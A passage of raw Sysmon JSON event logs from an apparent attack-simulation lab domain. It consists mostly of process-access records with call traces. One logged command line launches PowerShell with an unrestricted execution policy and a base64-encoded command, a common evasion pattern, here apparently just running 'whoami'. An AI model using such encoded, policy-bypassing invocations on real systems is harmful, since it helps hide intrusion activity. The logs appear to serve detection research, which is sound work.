dwBoAG8AYQBtAGkA","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4009-5F2D-0000-0020AF640400}","LogonId":"0x464af","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-400A-5F2D-0000-00109A670400}","ParentProcessId":"4772","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2561,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-400A-5F2D-0000-00109A670400}\r\nSourceProcessId: 4772\r\nSourceThreadId: 4776\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-400A-5F2D-0000-001065680400}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-400A-5F2D-0000-00109A670400}","SourceProcessId":"4772","SourceThreadId":"4776","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-400A-5F2D-0000-001065680400}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2562,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-400A-5F2D-0000-001065680400}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-400A-5F2D-0000-001065680400}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2563,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2564,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2565,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2566,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2567,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2568,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2569,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 